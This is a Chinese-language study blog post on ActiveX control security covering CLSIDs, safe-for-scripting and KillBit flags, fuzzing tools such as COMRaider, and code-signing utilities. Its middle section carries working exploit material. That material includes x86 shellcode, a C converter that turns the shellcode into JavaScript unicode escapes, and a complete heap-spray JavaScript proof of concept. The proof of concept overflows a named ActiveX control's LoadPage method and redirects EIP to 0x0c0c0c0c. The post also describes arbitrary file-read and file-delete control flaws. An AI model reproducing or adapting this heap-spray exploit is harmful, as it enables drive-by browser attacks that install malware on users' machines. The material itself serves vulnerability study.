activeX控件学习

ActiveX是Microsoft对于一系列策略性面向对象程序技术和工具的称呼,其中主要的技术是组件对象模型(COM)。在有目录和其它支持的网络中,COM变成了分布式COM(DCOM)。


先前 学习的  ACX控件 溢出


通过一个精心构造的 exploit第三方软件中的activeX已经成为  “网马” 惯用的 手段

一些控件封装着一些逻辑较为复杂的方法,并通过  网页中的脚本经过浏览器诶调用执行。

因此控件攻击的大多是通过在网页中插入非法调用的脚本来实现

EG: flash脚本

<object classid="clsid:D27CD```````"> codebase= "`````" width=""  height ="">
````
<embed src="1.swf"  ````````>
</object>

重要的地方为 object 这个html 标签。当用户使用浏览器访问包含这段代码的网页文件时,用户的浏览器在解析到 "object"这个标签是,就会自动调用系统的flash 控件 从而播放1.swf

每一个ACX控件在被注册进入操作系统之后,就会在注册表中建立一个用来表示自己,这个键值被称为 "CLSID"

可以在注册表 HKEY_CLASSES_ROOT\CLSID  找到,全部的 ACX控件

其实只关注 被浏览器加载的那些ACX控件,这类信息可以去 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility 下查看

1)查看  一个ACX 控件必须被标记为 可安全执行脚本(as safe for scripting) 可以查看  对应的 CLSID项下是否有 Implemented Categories 选项即可 

EG:   HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}\Implemented Categories

除了 safe scripting 外,微软还提供了KillBit 的机制来阻止ACX控件被浏览器自动调用,MSDN表示,KillBit是ACX控件的兼容性标志位

2)浏览器首次调用时会给出一个提示警告,用户在确定并同意后,浏览器才会下载安装该ACX控件

当 “可安全执行脚本” 被取消时,IE会用警告消息提示您,该ACX控件可能不安全,根据选择热可能被调用,

但是当启用Killit后 ,只要不启用 “对未标记为安全的ACX控件初始化并执行脚本”  选项,IE就不会调用该克难攻坚。所以ACX被设置了KillBit他就很难再被浏览器调用了

设置KillBit 方法:  Compatibility Flags  值设为  0x400,  WIN7  64  几乎全是····



OLEVIEW  可以查看 系统中已经注册的 ACX控件的用户接口,打开OLEVIEW程序,其中有一个TYPE LIB 选项,该选项包含了注册过的所有ACX控件信息


示例:

<object classid="clsid: 05792C8E-941F-11D0-8529-00C04FD8D503" name="evil">
</object>
<script>
evil.name = "xxx";
</script>

1)建立一个字符串/数字变量
2)字符串-》超长字符串,数字变量-》0/负数/小数/超大数字
3)依照被测试控件的接口需要的参数形式传递给用户接口
4)保存代码,放置在该测试魔板到 WEB服务目录下
5)OD 挂接IE ,通过浏览器访问测试魔板文件
6 OD监视到发生错误····

测试 ACX工具:

COMRaider 

AxMan   ie6.0

AxFuzz   学习源码 学习怎么编写ACX


COMRaider  学习:

regsvr32  C:\iDefense\COMRaider\vuln.dll




得到两个文本 显示 ACX的信息


可以设置OD  调试了

默认生成的  脚本为 VBS

············································································································································································································

网页木马  利用网页脚本代码编写出来的,通过浏览器本身或者ACX控件漏洞,实现向用户系统安装木马病毒程序目的的网页文件

············································································································································································································

怎么去寻找一个程序的  ACX控件:

可以监视 生成的  WINDOW/SYSTEM32/下的DLL    因为ACX控件都要保存在这里吧?····


示例  : 超星阅读 查找


DispCallFunc  函数 进入 ACX控件····················



编写  ACX  POC  时  要注意啊   这个是UNICODE的  不能直接复制  ASCII 码

写了个转换 程序:

#include "stdio.h"
#include <windows.h>
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53"
"\x68\x64\x61\x30\x23"
"\x68\x23\x50\x61\x6E"
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90";//168 xp sp3

void encoder (char* input)// bool display_flag
{
	int i=0,len=0;
	unsigned char * output;

	len = strlen(popup_general);
	output=(unsigned char *)malloc(len+1);


	for(i=0;i<len;i++)
	{
		output[i] = popup_general[i];
	}


	FILE *fp2 = fopen("2.txt","w+");

	printf("\"");
	fprintf(fp2,"\"");
	len = strlen((const char *)popup_general);
	for(i=0;i<len;)
	{		
		printf("\\u%0.2x",output[i+1]);
		fprintf(fp2,"\\u%0.2x",output[i+1]);
		printf("%0.2x",output[i]);
		fprintf(fp2,"%0.2x",output[i]);
		i += 2;
		if(i%16==0)
		{			
			printf("\"+\n\"");
			fprintf(fp2,"\"+\n\"");
		}
	}
	printf("\";");
	fprintf(fp2,"\";");
	fclose(fp2);
}
void main()
{
	encoder(popup_general);
	getchar();
}


pe() 编码的字符串进行解码。 举个例子就清楚了··················

<script type="text/javascript">

var test1="Visit W3School!"

test1=escape(test1)
document.write (test1 + "<br />")

test1=unescape(test1)
document.write(test1 + "<br />")

</script>

输出:

Visit%20W3School%21
Visit W3School!

2)substring() 方法用于提取字符串中介于两个指定下标之间的字符。



HeapSpray    一般会将EIP 指向堆区的 0x0c0c0c0c 然后用 JS 申请大量堆内存,并用包含着0x90 和shellcode的“内存片” 覆盖这些内存

JS 会从内存低地址 -》 高地址分配内存,因此申请的内存超过 200M (200M = 200 * 1024 *1024 = 0x0c800000 > 0x0c0c0c0c)

0x0c0c0c0c 会被含有 shellcode 的内存片 覆盖,只要内存片中的  0x90能命中 0x0c0c0c0c 位置,shellcode就能运行


覆盖256字节后 发现EIP   所以构造如下   将  EIP  构造为  0xc0xc0xc0xc  

JS POC 代码:

<object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object>
<script>
var nop = unescape("%u9090");
var shellcode=
"\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91"+
"\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332"+
"\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c"+
"\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505"+
"\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b"+
"\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06"+
"\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c"+
"\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd"+
"\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33"+
"\u6853\u6164\u2330\u2368\u6150\u8b6e\u53c4\u5050"+
"\uff53\ufc57\uff53\uf857\u9090";

  while (nop.length < 0x100000/2) 
{nop += nop;}

nop=nop.substring(0,0x100000-32/2-4/2-2/2-shellcode.length);
nop =nop+ shellcode;
  var memory = new Array();
  for (var i=0;i<200;i++) 
{memory[i] += nop;}

var str = '';
while(str.length <256) {str += '\x0a\x0a\x0a\x0a';}
str +=   "\x0c\x0c\x0c\x0c" ;
target.LoadPage(str, 1, 1, 1);
</script>


第二个实验为   目录操作权限的 漏洞

COMRaider 看到  open 函数

利用OCX 的 open 函数  打开 来判断文件系统中是否存在某个特定文件,相当于开放了文件系统的列目录权限


第三个实验 文件读权限 漏洞

COMRaider 看到  safe for script    killbit false

用户接口 发现 read 和 save


第四个实验  文件删除权限漏洞

卡巴 的控件 提供了一个 DeleteFile 接口 发现可以删除任意文件

























Activex控件签名工具, 微软提供了两套签名工具, 1)signcode.exe, 从1998年开始使用,随.NET Framework SDK发布。 signcode.exe 数字签名工具 makecert.exe 创建数字证书 cert2spc.exe 将数字证书转化为软件发布者证书格式 2)signtool.exe,随visualstudio 2005及其以后的版本发布。 signtool.exe 数字签名工具 makecert.exe 创建数字证书 cert2spc.exe 将数字证书转化为软件发布者证书格式 pvk2pfx.exe(pvkimprt.exe) 将私有的密匙和软件发布者证书合并为pfx文件,此文件将被signtool.exe使用 上面2中工具的不同是signcode.exe需要输入私有密匙和软件发布者证书(pvk和spc文件),signtool.exe只需要输入由pvk和spc合并产生的一个个人信息交互文件(pfx)。 获得数字证书 数字证书,你可以创建自己的数字证书来测试数字签名的流程,但是正式的软件发布,你需要向可信赖的证书颁发机构购买数字证书和密码,例如你可以向以下的证书机构购买Comodo, Globalsign, Thawte and Verisign。 创建自己的数字证书(用来测试) 使用如下命令来创建自己的数字证书: makecert.exe -sv mykey.pvk -n "CN=Acme Software Inc." mycert.cer你可以将Acme Software Inc.替换为你自己公司的名字。如果mykey.pvk不存在的话,你会要求输入私有密匙的密码,密码可以为空。安全起见最好设置密码,否则别人拿到你的私有密匙后就可以签名了。在上面的命令后,产生了2个文件mykey.pvk和mycert.cer。接下来需要将数字证书(cer)转化为软件发布商证书(spc),命令如下:cert2spc.exe mycert.cer mycert.spc此过程中需要输入私有密匙的密码,创建完成后应该会生成mycert.spc文件,当数字签名时mycert.cer文件是不需要的。 时间戳服务器,你可以选择下列之一, - http://timestamp.verisign.com/scripts/timstamp.dll - http://timestamp.globalsign.com/scripts/timstamp.dll - http://timestamp.comodoca.com/authenticode 1)使用signcode.exe,如下: signcode.exe -t <timestamp URL> -spc mycert.spc -v mykey.pvk "<file to be signed>"进行数字签名的文件可以是.exe, .dll, .ocx 或者是其他的可执行文件。 2)使用signtool.exe,如下: 如果你没有pfx文件,需要使用以下的命令来将pvk和spc文件合并为pfx,如果没有设置密码的话必须使用pvkimprt.exe来合并。pvk2pfx.exe -pvk mykey.pvk -pi <password> -spc mycert.spc -pfx mycert.pfx -po <password>pvkimprt.exe -pfx mycert.spc mycert.pvksigntool.exe sign /f mycert.pfx /p <password> /t <timestamp URL> /v "<file to be signed>" 以下是使用signtool.exe签名的一个实例: signtool.exe sign /f mycert.pfx /p <password> /t <timestamp URL> /v "<file to be signed>"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值